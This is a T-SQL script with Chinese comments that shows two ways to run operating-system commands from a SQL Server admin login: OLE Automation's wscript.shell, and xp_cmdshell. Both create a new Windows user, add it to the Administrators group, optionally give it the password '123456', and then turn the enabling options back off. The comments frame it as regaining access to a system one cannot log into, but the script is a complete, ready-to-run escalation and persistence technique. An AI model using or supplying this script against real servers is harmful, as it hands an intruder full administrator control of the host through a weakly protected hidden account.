/*
必要条件:
1. SqlServer 服务自动启动
2. SqlServer 服务内置账户以[Local System]启动
3. 登录SqlServer并有管理员权限(如 sa 连接到进入不了系统的数据库)
*/


-- 方法一:使用'Ole Automation Procedures'
use master
go

exec sys.sp_configure 'show advanced options',1
reconfigure with override
go

exec sys.sp_configure 'Ole Automation Procedures',1
reconfigure with override
go

declare @shell int
exec SP_OAcreate 'wscript.shell',@shell out
print @shell
exec SP_OAMETHOD @shell,'run',null, 'net user NewUserName /add'
exec SP_OAMETHOD @shell,'run',null, 'net localgroup Administrators NewUserName /add'
-- 也可设置密码,否则为空
exec SP_OAMETHOD @shell,'run',null, 'net user NewUserName 123456'
go

exec sys.sp_configure 'Ole Automation Procedures',0
reconfigure with override
go

exec sys.sp_configure 'show advanced options',0
reconfigure with override
go


-- 方法二:使用'xp_cmdshell'
use master
go

exec sys.sp_configure 'show advanced options',1
reconfigure with override
go

exec sys.sp_configure 'xp_cmdshell',1
reconfigure with override
go

exec sys.xp_cmdshell 'net user NewUserName /add'
go

exec sys.xp_cmdshell 'net localgroup Administrators NewUserName /add'
go

exec sys.sp_configure 'xp_cmdshell',0
reconfigure with override
go

exec sys.sp_configure 'show advanced options',0
reconfigure with override
go